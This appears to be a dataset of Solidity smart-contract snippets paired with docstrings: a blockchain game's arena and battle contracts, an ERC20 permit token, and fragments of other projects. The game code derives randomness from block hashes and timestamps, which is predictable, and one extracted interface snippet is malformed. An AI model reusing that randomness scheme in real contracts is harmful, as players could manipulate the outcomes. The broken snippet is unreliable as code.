uint32(keccak256(keccak256(block.blockhash(block.number), seed), now)); return seed % (_upper - _lower) + _lower; } } /** * @title CryptoSagaCorrectedHeroStats * @dev Corrected hero stats is needed to fix the bug in hero stats. */ contract CryptoSagaCorrectedHeroStats { // The hero contract. CryptoSagaHero private heroContract; // @dev Constructor. function CryptoSagaCorrectedHeroStats(address _heroContractAddress) public { heroContract = CryptoSagaHero(_heroContractAddress); } // @dev Get the hero's stats and some other infomation. function getCorrectedStats(uint256 _tokenId) external view returns (uint32 currentLevel, uint32 currentExp, uint32[5] currentStats, uint32[5] ivs, uint32 bp) { var (, , _currentLevel, _currentExp, , , _currentStats, _ivs, ) = heroContract.getHeroInfo(_tokenId); if (_currentLevel != 1) { for (uint8 i = 0; i < 5; i ++) { _currentStats[i] += _ivs[i]; } } var _bp = _currentStats[0] + _currentStats[1] + _currentStats[2] + _currentStats[3] + _currentStats[4]; return (_currentLevel, _currentExp, _currentStats, _ivs, _bp); } // @dev Get corrected total BP of the address. function getCorrectedTotalBPOfAddress(address _address) external view returns (uint32) { var _balance = heroContract.balanceOf(_address); uint32 _totalBP = 0; for (uint256 i = 0; i < _balance; i ++) { var (, , _currentLevel, , , , _currentStats, _ivs, ) = heroContract.getHeroInfo(heroContract.getTokenIdOfAddressAndIndex(_address, i)); if (_currentLevel != 1) { for (uint8 j = 0; j < 5; j ++) { _currentStats[j] += _ivs[j]; } } _totalBP += (_currentStats[0] + _currentStats[1] + _currentStats[2] + _currentStats[3] + _currentStats[4]); } return _totalBP; } // @dev Get corrected total BP of the address. function getCorrectedTotalBPOfTokens(uint256[] _tokens) external view returns (uint32) { uint32 _totalBP = 0; for (uint256 i = 0; i < _tokens.length; i ++) { var (, , _currentLevel, , , , _currentStats, _ivs, ) = heroContract.getHeroInfo(_tokens[i]); if (_currentLevel != 1) { for (uint8 j = 0; j < 5; j ++) { _currentStats[j] += _ivs[j]; } } _totalBP += (_currentStats[0] + _currentStats[1] + _currentStats[2] + _currentStats[3] + _currentStats[4]); } return _totalBP; } } /** * @title CryptoSagaArenaRecord * @dev The record of battles in the Arena. */ contract CryptoSagaArenaRecord is Pausable, AccessDeploy { // Number of players for the leaderboard. uint8 public numberOfLeaderboardPlayers = 25; // Top players in the leaderboard. address[] public leaderBoardPlayers; // For checking whether the player is in the leaderboard. mapping(address => bool) public addressToIsInLeaderboard; // Number of recent player recorded for matchmaking. uint8 public numberOfRecentPlayers = 50; // List of recent players. address[] public recentPlayers; // Front of recent players. uint256 public recentPlayersFront; // Back of recent players. uint256 public recentPlayersBack; // Record of each player. mapping(address => uint32) public addressToElo; // Event that is fired when a new change has been made to the leaderboard. event UpdateLeaderboard( address indexed _by, uint256 _dateTime ); // @dev Get elo rating of a player. function getEloRating(address _address) external view returns (uint32) { if (addressToElo[_address] != 0) return addressToElo[_address]; else return 1500; } // @dev Get players in the leaderboard. function getLeaderboardPlayers() external view returns (address[]) { return leaderBoardPlayers; } // @dev Get current length of the leaderboard. function getLeaderboardLength() external view returns (uint256) { return leaderBoardPlayers.length; } // @dev Get recently played players. function getRecentPlayers() external view returns (address[]) { return recentPlayers; } // @dev Get current number of players in the recently played players queue. function getRecentPlayersCount() public view returns (uint256) { return recentPlayersBack - recentPlayersFront; } // @dev Constructor. function CryptoSagaArenaRecord( address _firstPlayerAddress, uint32 _firstPlayerElo, uint8 _numberOfLeaderboardPlayers, uint8 _numberOfRecentPlayers) public { numberOfLeaderboardPlayers = _numberOfLeaderboardPlayers; numberOfRecentPlayers = _numberOfRecentPlayers; // The initial player gets into leaderboard. leaderBoardPlayers.push(_firstPlayerAddress); addressToIsInLeaderboard[_firstPlayerAddress] = true; // The initial player pushed into the recent players queue. pushPlayer(_firstPlayerAddress); // The initial player's Elo. addressToElo[_firstPlayerAddress] = _firstPlayerElo; } // @dev Update record. function updateRecord(address _myAddress, address _enemyAddress, bool _didWin) whenNotPaused onlyAccessDeploy public { address _winnerAddress = _didWin? _myAddress: _enemyAddress; address _loserAddress = _didWin? _enemyAddress: _myAddress; // Initial value of Elo. uint32 _winnerElo = addressToElo[_winnerAddress]; if (_winnerElo == 0) _winnerElo = 1500; uint32 _loserElo = addressToElo[_loserAddress]; if (_loserElo == 0) _loserElo = 1500; // Adjust Elo. if (_winnerElo >= _loserElo) { if (_winnerElo - _loserElo < 50) { addressToElo[_winnerAddress] = _winnerElo + 5; addressToElo[_loserAddress] = _loserElo - 5; } else if (_winnerElo - _loserElo < 80) { addressToElo[_winnerAddress] = _winnerElo + 4; addressToElo[_loserAddress] = _loserElo - 4; } else if (_winnerElo - _loserElo < 150) { addressToElo[_winnerAddress] = _winnerElo + 3; addressToElo[_loserAddress] = _loserElo - 3; } else if (_winnerElo - _loserElo < 250) { addressToElo[_winnerAddress] = _winnerElo + 2; addressToElo[_loserAddress] = _loserElo - 2; } else { addressToElo[_winnerAddress] = _winnerElo + 1; addressToElo[_loserAddress] = _loserElo - 1; } } else { if (_loserElo - _winnerElo < 50) { addressToElo[_winnerAddress] = _winnerElo + 5; addressToElo[_loserAddress] = _loserElo - 5; } else if (_loserElo - _winnerElo < 80) { addressToElo[_winnerAddress] = _winnerElo + 6; addressToElo[_loserAddress] = _loserElo - 6; } else if (_loserElo - _winnerElo < 150) { addressToElo[_winnerAddress] = _winnerElo + 7; addressToElo[_loserAddress] = _loserElo - 7; } else if (_loserElo - _winnerElo < 250) { addressToElo[_winnerAddress] = _winnerElo + 8; addressToElo[_loserAddress] = _loserElo - 8; } else { addressToElo[_winnerAddress] = _winnerElo + 9; addressToElo[_loserAddress] = _loserElo - 9; } } // Update recent players list. if (!isPlayerInQueue(_myAddress)) { // If the queue is full, pop a player. if (getRecentPlayersCount() >= numberOfRecentPlayers) popPlayer(); // Push _myAddress to the queue. pushPlayer(_myAddress); } // Update leaderboards. if(updateLeaderboard(_enemyAddress) || updateLeaderboard(_myAddress)) { UpdateLeaderboard(_myAddress, now); } } // @dev Update leaderboard. function updateLeaderboard(address _addressToUpdate) whenNotPaused private returns (bool isChanged) { // If this players is already in the leaderboard, there's no need for replace the minimum recorded player. if (addressToIsInLeaderboard[_addressToUpdate]) { // Do nothing. } else { if (leaderBoardPlayers.length >= numberOfLeaderboardPlayers) { // Need to replace existing player. // First, we need to find the player with miminum Elo value. uint32 _minimumElo = 99999; uint8 _minimumEloPlayerIndex = numberOfLeaderboardPlayers; for (uint8 i = 0; i < leaderBoardPlayers.length; i ++) { if (_minimumElo > addressToElo[leaderBoardPlayers[i]]) { _minimumElo = addressToElo[leaderBoardPlayers[i]]; _minimumEloPlayerIndex = i; } } // Second, if the minimum elo value is smaller than the player's elo value, then replace the entity. if (_minimumElo <= addressToElo[_addressToUpdate]) { leaderBoardPlayers[_minimumEloPlayerIndex] = _addressToUpdate; addressToIsInLeaderboard[_addressToUpdate] = true; addressToIsInLeaderboard[leaderBoardPlayers[_minimumEloPlayerIndex]] = false; isChanged = true; } } else { // The list is not full yet. // Just add the player to the list. leaderBoardPlayers.push(_addressToUpdate); addressToIsInLeaderboard[_addressToUpdate] = true; isChanged = true; } } } // #dev Check whether contain the element or not. function isPlayerInQueue(address _player) view private returns (bool isContain) { isContain = false; for (uint256 i = recentPlayersFront; i < recentPlayersBack; i++) { if (_player == recentPlayers[i]) { isContain = true; } } } // @dev Push a new player into the queue. function pushPlayer(address _player) private { recentPlayers.push(_player); recentPlayersBack++; } // @dev Pop the oldest player in this queue. function popPlayer() private returns (address player) { if (recentPlayersBack == recentPlayersFront) return address(0); player = recentPlayers[recentPlayersFront]; delete recentPlayers[recentPlayersFront]; recentPlayersFront++; } } /** * @title CryptoSagaArenaVer1 * @dev The actual gameplay is done by this contract. Version 1.0.2. */ contract CryptoSagaArenaVer1 is Claimable, Pausable { struct PlayRecord { // This is needed for reconstructing the record. uint32 initialSeed; // The address of the enemy player. address enemyAddress; // Hero's token ids. uint256[8] tokenIds; // Unit's class ids. 0 ~ 3: Heroes. 4 ~ 7: Mobs. uint32[8] unitClassIds; // Unit's levels. 0 ~ 3: Heroes. 4 ~ 7: Mobs. uint32[8] unitLevels; // Exp reward given. uint32 expReward; // Gold Reward given. uint256 goldReward; } // This information can be reconstructed with seed and dateTime. // For the optimization this won't be really used. struct TurnInfo { // Number of turns before a team was vanquished. uint8 turnLength; // Turn order of units. uint8[8] turnOrder; // Defender list. (The unit that is attacked.) uint8[24] defenderList; // Damage list. (The damage given to the defender.) uint32[24] damageList; // Heroes' original Exps. uint32[4] originalExps; } // Progress contract. CryptoSagaArenaRecord private recordContract; // The hero contract. CryptoSagaHero private heroContract; // Corrected hero stats contract. CryptoSagaCorrectedHeroStats private correctedHeroContract; // Gold contract. Gold public goldContract; // Card contract. CryptoSagaCard public cardContract; // The location Id of this contract. // Will be used when calling deploy function of hero contract. uint32 public locationId = 100; // Hero cooldown time. (Default value: 60 mins.) uint256 public coolHero = 3600; // The exp reward for fighting in this arena. uint32 public expReward = 100; // The Gold reward when fighting in this arena. uint256 public goldReward = 1000000000000000000; // Should this contract save the turn data? bool public isTurnDataSaved = true; // Last game's record of the player. mapping(address => PlayRecord) public addressToPlayRecord; // Additional information on last game's record of the player. mapping(address => TurnInfo) public addressToTurnInfo; // Random seed. uint32 private seed = 0; // Event that is fired when a player fights in this arena. event TryArena( address indexed _by, address indexed _against, bool _didWin ); // @dev Get previous game record. function getPlayRecord(address _address) external view returns (uint32, address, uint256[8], uint32[8], uint32[8], uint32, uint256, uint8, uint8[8], uint8[24], uint32[24]) { PlayRecord memory _p = addressToPlayRecord[_address]; TurnInfo memory _t = addressToTurnInfo[_address]; return ( _p.initialSeed, _p.enemyAddress, _p.tokenIds, _p.unitClassIds, _p.unitLevels, _p.expReward, _p.goldReward, _t.turnLength, _t.turnOrder, _t.defenderList, _t.damageList ); } // @dev Get previous game record. function getPlayRecordNoTurnData(address _address) external view returns (uint32, address, uint256[8], uint32[8], uint32[8], uint32, uint256) { PlayRecord memory _p = addressToPlayRecord[_address]; return ( _p.initialSeed, _p.enemyAddress, _p.tokenIds, _p.unitClassIds, _p.unitLevels, _p.expReward, _p.goldReward ); } // @dev Set location id. function setLocationId(uint32 _value) onlyOwner public { locationId = _value; } // @dev Set cooldown of heroes entered this arena. function setCoolHero(uint32 _value) onlyOwner public { coolHero = _value; } // @dev Set the Exp given to the player for fighting in this arena. function setExpReward(uint32 _value) onlyOwner public { expReward = _value; } // @dev Set the Golds given to the player for fighting in this arena. function setGoldReward(uint256 _value) onlyOwner public { goldReward = _value; } // @dev Set wether the turn data saved or not. function setIsTurnDataSaved(bool _value) onlyOwner public { isTurnDataSaved = _value; } // @dev Set Record Contract. function setRecordContract(address _address) onlyOwner public { recordContract = CryptoSagaArenaRecord(_address); } // @dev Constructor. function CryptoSagaArenaVer1( address _recordContractAddress, address _heroContractAddress, address _correctedHeroContractAddress, address _cardContractAddress, address _goldContractAddress, address _firstPlayerAddress, uint32 _locationId, uint256 _coolHero, uint32 _expReward, uint256 _goldReward, bool _isTurnDataSaved) public { recordContract = CryptoSagaArenaRecord(_recordContractAddress); heroContract = CryptoSagaHero(_heroContractAddress); correctedHeroContract = CryptoSagaCorrectedHeroStats(_correctedHeroContractAddress); cardContract = CryptoSagaCard(_cardContractAddress); goldContract = Gold(_goldContractAddress); // Save first player's record. // This is for preventing errors. PlayRecord memory _playRecord; _playRecord.initialSeed = seed; _playRecord.enemyAddress = _firstPlayerAddress; _playRecord.tokenIds[0] = 1; _playRecord.tokenIds[1] = 2; _playRecord.tokenIds[2] = 3; _playRecord.tokenIds[3] = 4; _playRecord.tokenIds[4] = 5; _playRecord.tokenIds[5] = 6; _playRecord.tokenIds[6] = 7; _playRecord.tokenIds[7] = 8; addressToPlayRecord[_firstPlayerAddress] = _playRecord; locationId = _locationId; coolHero = _coolHero; expReward = _expReward; goldReward = _goldReward; isTurnDataSaved = _isTurnDataSaved; } // @dev Enter this arena. function enterArena(uint256[4] _tokenIds, address _enemyAddress) whenNotPaused public { // Shouldn't fight against self. require(msg.sender != _enemyAddress); // Each hero should be with different ids. require(_tokenIds[0] == 0 || (_tokenIds[0] != _tokenIds[1] && _tokenIds[0] != _tokenIds[2] && _tokenIds[0] != _tokenIds[3])); require(_tokenIds[1] == 0 || (_tokenIds[1] != _tokenIds[0] && _tokenIds[1] != _tokenIds[2] && _tokenIds[1] != _tokenIds[3])); require(_tokenIds[2] == 0 || (_tokenIds[2] != _tokenIds[0] && _tokenIds[2] != _tokenIds[1] && _tokenIds[2] != _tokenIds[3])); require(_tokenIds[3] == 0 || (_tokenIds[3] != _tokenIds[0] && _tokenIds[3] != _tokenIds[1] && _tokenIds[3] != _tokenIds[2])); // Check ownership and availability of the heroes. require(checkOwnershipAndAvailability(msg.sender, _tokenIds)); // The play record of the enemy should exist. // The check is done with the enemy's enemy address, because the default value of it will be address(0). require(addressToPlayRecord[_enemyAddress].enemyAddress != address(0)); // Set seed. seed += uint32(now); // Define play record here. PlayRecord memory _playRecord; _playRecord.initialSeed = seed; _playRecord.enemyAddress = _enemyAddress; _playRecord.tokenIds[0] = _tokenIds[0]; _playRecord.tokenIds[1] = _tokenIds[1]; _playRecord.tokenIds[2] = _tokenIds[2]; _playRecord.tokenIds[3] = _tokenIds[3]; // The information that can give additional information. TurnInfo memory _turnInfo; // Step 1: Retrieve Hero information (0 ~ 3) & Enemy information (4 ~ 7). uint32[5][8] memory _unitStats; // Stats of units for given levels and class ids. uint8[2][8] memory _unitTypesAuras; // 0: Types of units for given levels and class ids. 1: Auras of units for given levels and class ids. // Retrieve deployed hero information. if (_tokenIds[0] != 0) { _playRecord.unitClassIds[0] = heroContract.getHeroClassId(_tokenIds[0]); (_playRecord.unitLevels[0], _turnInfo.originalExps[0], _unitStats[0], , ) = correctedHeroContract.getCorrectedStats(_tokenIds[0]); (, , , , _unitTypesAuras[0][0], , _unitTypesAuras[0][1], , , ) = heroContract.getClassInfo(_playRecord.unitClassIds[0]); } if (_tokenIds[1] != 0) { _playRecord.unitClassIds[1] = heroContract.getHeroClassId(_tokenIds[1]); (_playRecord.unitLevels[1], _turnInfo.originalExps[1], _unitStats[1], , ) = correctedHeroContract.getCorrectedStats(_tokenIds[1]); (, , , , _unitTypesAuras[1][0], , _unitTypesAuras[1][1], , , ) = heroContract.getClassInfo(_playRecord.unitClassIds[1]); } if (_tokenIds[2] != 0) { _playRecord.unitClassIds[2] = heroContract.getHeroClassId(_tokenIds[2]); (_playRecord.unitLevels[2], _turnInfo.originalExps[2], _unitStats[2], , ) = correctedHeroContract.getCorrectedStats(_tokenIds[2]); (, , , , _unitTypesAuras[2][0], , _unitTypesAuras[2][1], , , ) = heroContract.getClassInfo(_playRecord.unitClassIds[2]); } if (_tokenIds[3] != 0) { _playRecord.unitClassIds[3] = heroContract.getHeroClassId(_tokenIds[3]); (_playRecord.unitLevels[3], _turnInfo.originalExps[3], _unitStats[3], , ) = correctedHeroContract.getCorrectedStats(_tokenIds[3]); (, , , , _unitTypesAuras[3][0], , _unitTypesAuras[3][1], , , ) = heroContract.getClassInfo(_playRecord.unitClassIds[3]); } // Retrieve enemy information. PlayRecord memory _enemyPlayRecord = addressToPlayRecord[_enemyAddress]; if (_enemyPlayRecord.tokenIds[0] != 0) { _playRecord.unitClassIds[4] = heroContract.getHeroClassId(_enemyPlayRecord.tokenIds[0]); (_playRecord.unitLevels[4], , _unitStats[4], , ) = correctedHeroContract.getCorrectedStats(_enemyPlayRecord.tokenIds[0]); (, , , , _unitTypesAuras[4][0], , _unitTypesAuras[4][1], , , ) = heroContract.getClassInfo(_playRecord.unitClassIds[4]); } if (_enemyPlayRecord.tokenIds[1] != 0) { _playRecord.unitClassIds[5] = heroContract.getHeroClassId(_enemyPlayRecord.tokenIds[1]); (_playRecord.unitLevels[5], , _unitStats[5], , ) = correctedHeroContract.getCorrectedStats(_enemyPlayRecord.tokenIds[1]); (, , , , _unitTypesAuras[5][0], , _unitTypesAuras[5][1], , , ) = heroContract.getClassInfo(_playRecord.unitClassIds[5]); } if (_enemyPlayRecord.tokenIds[2] != 0) { _playRecord.unitClassIds[6] = heroContract.getHeroClassId(_enemyPlayRecord.tokenIds[2]); (_playRecord.unitLevels[6], , _unitStats[6], , ) = correctedHeroContract.getCorrectedStats(_enemyPlayRecord.tokenIds[2]); (, , , , _unitTypesAuras[6][0], , _unitTypesAuras[6][1], , , ) = heroContract.getClassInfo(_playRecord.unitClassIds[6]); } if (_enemyPlayRecord.tokenIds[3] != 0) { _playRecord.unitClassIds[7] = heroContract.getHeroClassId(_enemyPlayRecord.tokenIds[3]); (_playRecord.unitLevels[7], , _unitStats[7], , ) = correctedHeroContract.getCorrectedStats(_enemyPlayRecord.tokenIds[3]); (, , , , _unitTypesAuras[7][0], , _unitTypesAuras[7][1], , , ) = heroContract.getClassInfo(_playRecord.unitClassIds[7]); } // Additional token ids for enemies. // Unlike dungeons, arena needs IVs for the enemy heroes. _playRecord.tokenIds[4] = _enemyPlayRecord.tokenIds[0]; _playRecord.tokenIds[5] = _enemyPlayRecord.tokenIds[1]; _playRecord.tokenIds[6] = _enemyPlayRecord.tokenIds[2]; _playRecord.tokenIds[7] = _enemyPlayRecord.tokenIds[3]; // Step 2. Run the battle logic. // Firstly, we need to assign the unit's turn order with AGLs of the units. uint32[8] memory _unitAGLs; for (uint8 i = 0; i < 8; i ++) { _unitAGLs[i] = _unitStats[i][2]; } _turnInfo.turnOrder = getOrder(_unitAGLs); // Fight for 24 turns. (8 units x 3 rounds.) _turnInfo.turnLength = 24; for (i = 0; i < 24; i ++) { if (_unitStats[4][4] == 0 && _unitStats[5][4] == 0 && _unitStats[6][4] == 0 && _unitStats[7][4] == 0) { _turnInfo.turnLength = i; break; } else if (_unitStats[0][4] == 0 && _unitStats[1][4] == 0 && _unitStats[2][4] == 0 && _unitStats[3][4] == 0) { _turnInfo.turnLength = i; break; } var _slotId = _turnInfo.turnOrder[(i % 8)]; if (_slotId < 4 && _tokenIds[_slotId] == 0) { // This means the slot is empty. // Defender should be default value. _turnInfo.defenderList[i] = 127; } else if (_unitStats[_slotId][4] == 0) { // This means the unit on this slot is dead. // Defender should be default value. _turnInfo.defenderList[i] = 128; } else { // 1) Check number of attack targets that are alive. uint8 _targetSlotId = 255; if (_slotId < 4) { if (_unitStats[4][4] > 0) _targetSlotId = 4; else if (_unitStats[5][4] > 0) _targetSlotId = 5; else if (_unitStats[6][4] > 0) _targetSlotId = 6; else if (_unitStats[7][4] > 0) _targetSlotId = 7; } else { if (_unitStats[0][4] > 0) _targetSlotId = 0; else if (_unitStats[1][4] > 0) _targetSlotId = 1; else if (_unitStats[2][4] > 0) _targetSlotId = 2; else if (_unitStats[3][4] > 0) _targetSlotId = 3; } // Target is the defender. _turnInfo.defenderList[i] = _targetSlotId; // Base damage. (Attacker's ATK * 1.5 - Defender's DEF). uint32 _damage = 10; if ((_unitStats[_slotId][0] * 150 / 100) > _unitStats[_targetSlotId][1]) _damage = max((_unitStats[_slotId][0] * 150 / 100) - _unitStats[_targetSlotId][1], 10); else _damage = 10; // Check miss / success. if ((_unitStats[_slotId][3] * 150 / 100) > _unitStats[_targetSlotId][2]) { if (min(max(((_unitStats[_slotId][3] * 150 / 100) - _unitStats[_targetSlotId][2]), 75), 99) <= random(100, 0)) _damage = _damage * 0; } else { if (75 <= random(100, 0)) _damage = _damage * 0; } // Is the attack critical? if (_unitStats[_slotId][3] > _unitStats[_targetSlotId][3]) { if (min(max((_unitStats[_slotId][3] - _unitStats[_targetSlotId][3]), 5), 75) > random(100, 0)) _damage = _damage * 150 / 100; } else { if (5 > random(100, 0)) _damage = _damage * 150 / 100; } // Is attacker has the advantageous Type? if (_unitTypesAuras[_slotId][0] == 0 && _unitTypesAuras[_targetSlotId][0] == 1) // Fighter > Rogue _damage = _damage * 125 / 100; else if (_unitTypesAuras[_slotId][0] == 1 && _unitTypesAuras[_targetSlotId][0] == 2) // Rogue > Mage _damage = _damage * 125 / 100; else if (_unitTypesAuras[_slotId][0] == 2 && _unitTypesAuras[_targetSlotId][0] == 0) // Mage > Fighter _damage = _damage * 125 / 100; // Is attacker has the advantageous Aura? if (_unitTypesAuras[_slotId][1] == 0 && _unitTypesAuras[_targetSlotId][1] == 1) // Water > Fire _damage = _damage * 150 / 100; else if (_unitTypesAuras[_slotId][1] == 1 && _unitTypesAuras[_targetSlotId][1] == 2) // Fire > Nature _damage = _damage * 150 / 100; else if (_unitTypesAuras[_slotId][1] == 2 && _unitTypesAuras[_targetSlotId][1] == 0) // Nature > Water _damage = _damage * 150 / 100; else if (_unitTypesAuras[_slotId][1] == 3 && _unitTypesAuras[_targetSlotId][1] == 4) // Light > Darkness _damage = _damage * 150 / 100; else if (_unitTypesAuras[_slotId][1] == 4 && _unitTypesAuras[_targetSlotId][1] == 3) // Darkness > Light _damage = _damage * 150 / 100; // Apply damage so that reduce hp of defender. if(_unitStats[_targetSlotId][4] > _damage) _unitStats[_targetSlotId][4] -= _damage; else _unitStats[_targetSlotId][4] = 0; // Save damage to play record. _turnInfo.damageList[i] = _damage; } } // Step 3. Apply the result of this battle. // Set heroes deployed. if (_tokenIds[0] != 0) heroContract.deploy(_tokenIds[0], locationId, coolHero); if (_tokenIds[1] != 0) heroContract.deploy(_tokenIds[1], locationId, coolHero); if (_tokenIds[2] != 0) heroContract.deploy(_tokenIds[2], locationId, coolHero); if (_tokenIds[3] != 0) heroContract.deploy(_tokenIds[3], locationId, coolHero); uint8 _deadHeroes = 0; uint8 _deadEnemies = 0; // Check result. if (_unitStats[0][4] == 0) _deadHeroes ++; if (_unitStats[1][4] == 0) _deadHeroes ++; if (_unitStats[2][4] == 0) _deadHeroes ++; if (_unitStats[3][4] == 0) _deadHeroes ++; if (_unitStats[4][4] == 0) _deadEnemies ++; if (_unitStats[5][4] == 0) _deadEnemies ++; if (_unitStats[6][4] == 0) _deadEnemies ++; if (_unitStats[7][4] == 0) _deadEnemies ++; if (_deadEnemies > _deadHeroes) { // Win // Fire TryArena event. TryArena(msg.sender, _enemyAddress, true); // Give reward. (_playRecord.expReward, _playRecord.goldReward) = giveReward(_tokenIds, true, _turnInfo.originalExps); // Save the record. recordContract.updateRecord(msg.sender, _enemyAddress, true); } else if (_deadEnemies < _deadHeroes) { // Lose // Fire TryArena event. TryArena(msg.sender, _enemyAddress, false); // Rewards. (_playRecord.expReward, _playRecord.goldReward) = giveReward(_tokenIds, false, _turnInfo.originalExps); // Save the record. recordContract.updateRecord(msg.sender, _enemyAddress, false); } else { // Draw // Fire TryArena event. TryArena(msg.sender, _enemyAddress, false); // Rewards. (_playRecord.expReward, _playRecord.goldReward) = giveReward(_tokenIds, false, _turnInfo.originalExps); } // Save the result of this gameplay. addressToPlayRecord[msg.sender] = _playRecord; // Save the turn data. // This is commented as this information can be reconstructed with intitial seed and date time. // By commenting this, we can reduce about 400k gas. if (isTurnDataSaved) { addressToTurnInfo[msg.sender] = _turnInfo; } } // @dev Check ownership. function checkOwnershipAndAvailability(address _playerAddress, uint256[4] _tokenIds) private view returns(bool) { if ((_tokenIds[0] == 0 || heroContract.ownerOf(_tokenIds[0]) == _playerAddress) && (_tokenIds[1] == 0 || heroContract.ownerOf(_tokenIds[1]) == _playerAddress) && (_tokenIds[2] == 0 || heroContract.ownerOf(_tokenIds[2]) == _playerAddress) && (_tokenIds[3] == 0 || heroContract.ownerOf(_tokenIds[3]) == _playerAddress)) { // Retrieve avail time of heroes. uint256[4] memory _heroAvailAts; if (_tokenIds[0] != 0) ( , , , , , _heroAvailAts[0], , , ) = heroContract.getHeroInfo(_tokenIds[0]); if (_tokenIds[1] != 0) ( , , , , , _heroAvailAts[1], , , ) = heroContract.getHeroInfo(_tokenIds[1]); if (_tokenIds[2] != 0) ( , , , , , _heroAvailAts[2], , , ) = heroContract.getHeroInfo(_tokenIds[2]); if (_tokenIds[3] != 0) ( , , , , , _heroAvailAts[3], , , ) = heroContract.getHeroInfo(_tokenIds[3]); if (_heroAvailAts[0] <= now && _heroAvailAts[1] <= now && _heroAvailAts[2] <= now && _heroAvailAts[3] <= now) { return true; } else { return false; } } else { return false; } } // @dev Give rewards. function giveReward(uint256[4] _heroes, bool _didWin, uint32[4] _originalExps) private returns (uint32 expRewardGiven, uint256 goldRewardGiven) { if (!_didWin) { // In case lost. // Give baseline gold reward. goldRewardGiven = goldReward / 10; expRewardGiven = expReward / 5; } else { // In case win. goldRewardGiven = goldReward; expRewardGiven = expReward; } // Give reward Gold. goldContract.mint(msg.sender, goldRewardGiven); // Give reward EXP. if(_heroes[0] != 0) heroContract.addExp(_heroes[0], uint32(2)**32 - _originalExps[0] + expRewardGiven); if(_heroes[1] != 0) heroContract.addExp(_heroes[1], uint32(2)**32 - _originalExps[1] + expRewardGiven); if(_heroes[2] != 0) heroContract.addExp(_heroes[2], uint32(2)**32 - _originalExps[2] + expRewardGiven); if(_heroes[3] != 0) heroContract.addExp(_heroes[3], uint32(2)**32 - _originalExps[3] + expRewardGiven); } // @dev Return a pseudo random number between lower and upper bounds function random(uint32 _upper, uint32 _lower) private returns (uint32) { require(_upper > _lower); seed = seed % uint32(1103515245) + 12345; return seed % (_upper - _lower) + _lower; } // @dev Retreive order based on given array _by. function getOrder(uint32[8] _by) private pure returns (uint8[8]) { uint8[8] memory _order = [uint8(0), 1, 2, 3, 4, 5, 6, 7]; for (uint8 i = 0; i < 8; i ++) { for (uint8 j = i + 1; j < 8; j++) { if (_by[i] < _by[j]) { uint32 tmp1 = _by[i]; _by[i] = _by[j]; _by[j] = tmp1; uint8 tmp2 = _order[i]; _order[i] = _order[j]; _order[j] = tmp2; } } } return _order; } // @return Bigger value of two uint32s. function max(uint32 _value1, uint32 _value2) private pure returns (uint32) { if(_value1 >= _value2) return _value1; else return _value2; } // @return Bigger value of two uint32s. function min(uint32 _value1, uint32 _value2) private pure returns (uint32) { if(_value2 >= _value1) return _value1; else return _value2; } // @return Square root of the given value. function sqrt(uint32 _value) private pure returns (uint32) { uint32 z = (_value + 1) / 2; uint32 y = _value; while (z < y) { y = z; z = (_value / z + z) / 2; } return y; } }
Set Record Contract.
function setRecordContract(address _address) onlyOwner public { recordContract = CryptoSagaArenaRecord(_address); }
6,330,131
//SPDX-License-Identifier: MIT pragma solidity 0.8.2; import "./ERC20BaseToken.sol"; import "./extensions/ERC20BasicApproveExtension.sol"; import "../WithPermit.sol"; import "../ERC677/extensions/ERC677Extension.sol"; import "../../interfaces/IERC677Receiver.sol"; contract ERC20Token is ERC20BasicApproveExtension, ERC677Extension, WithPermit, ERC20BaseToken { // /////////////////// CONSTRUCTOR //////////////////// constructor( string memory name, string memory symbol, address admin, address operator ) ERC20BaseToken(name, symbol, admin, operator) // solhint-disable-next-line no-empty-blocks {} function mint(address to, uint256 amount) external onlyAdmin { _mint(to, amount); } /// @notice Function to permit the expenditure of ERC20 token by a nominated spender /// @param owner The owner of the ERC20 tokens /// @param spender The nominated spender of the ERC20 tokens /// @param value The value (allowance) of the ERC20 tokens that the nominated spender will be allowed to spend /// @param deadline The deadline for granting permission to the spender /// @param v The final 1 byte of signature /// @param r The first 32 bytes of signature /// @param s The second 32 bytes of signature function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) public override { checkApproveFor(owner, spender, value, deadline, v, r, s); _approveFor(owner, spender, value); } }
Function to permit the expenditure of ERC20 token by a nominated spender owner The owner of the ERC20 tokens spender The nominated spender of the ERC20 tokens value The value (allowance) of the ERC20 tokens that the nominated spender will be allowed to spend deadline The deadline for granting permission to the spender v The final 1 byte of signature r The first 32 bytes of signature s The second 32 bytes of signature
function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) public override { checkApproveFor(owner, spender, value, deadline, v, r, s); _approveFor(owner, spender, value); }
5,373,302
./partial_match/5/0x423DBa410C9d51fae8C34aFF803fbe1a356845dD/sources/lib/dss-test/lib/dss-interfaces/src/sai/GemPitAbstract.sol
https:github.com/makerdao/sai/blob/master/src/pit.sol
interface GemPitAbstract { function burn(address) external; pragma solidity >=0.5.12; }
16,837,766
// Sources flattened with hardhat v2.6.0 https://hardhat.org // File contracts/interfaces/IArmorMaster.sol pragma solidity ^0.6.0; interface IArmorMaster { function registerModule(bytes32 _key, address _module) external; function getModule(bytes32 _key) external view returns(address); function keep() external; } // File contracts/general/Ownable.sol pragma solidity ^0.6.6; /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". * * @dev Completely default OpenZeppelin. */ contract Ownable { address private _owner; address private _pendingOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function initializeOwnable() internal { require(_owner == address(0), "already initialized"); _owner = msg.sender; emit OwnershipTransferred(address(0), msg.sender); } /** * @return the address of the owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(isOwner(), "msg.sender is not owner"); _; } /** * @return true if `msg.sender` is the owner of the contract. */ function isOwner() public view returns (bool) { return msg.sender == _owner; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { _pendingOwner = newOwner; } function receiveOwnership() public { require(msg.sender == _pendingOwner, "only pending owner can call this function"); _transferOwnership(_pendingOwner); _pendingOwner = address(0); } /** * @dev Transfers control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function _transferOwnership(address newOwner) internal { require(newOwner != address(0)); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } uint256[50] private __gap; } // File contracts/general/Bytes32.sol pragma solidity ^0.6.6; library Bytes32 { function toString(bytes32 x) internal pure returns 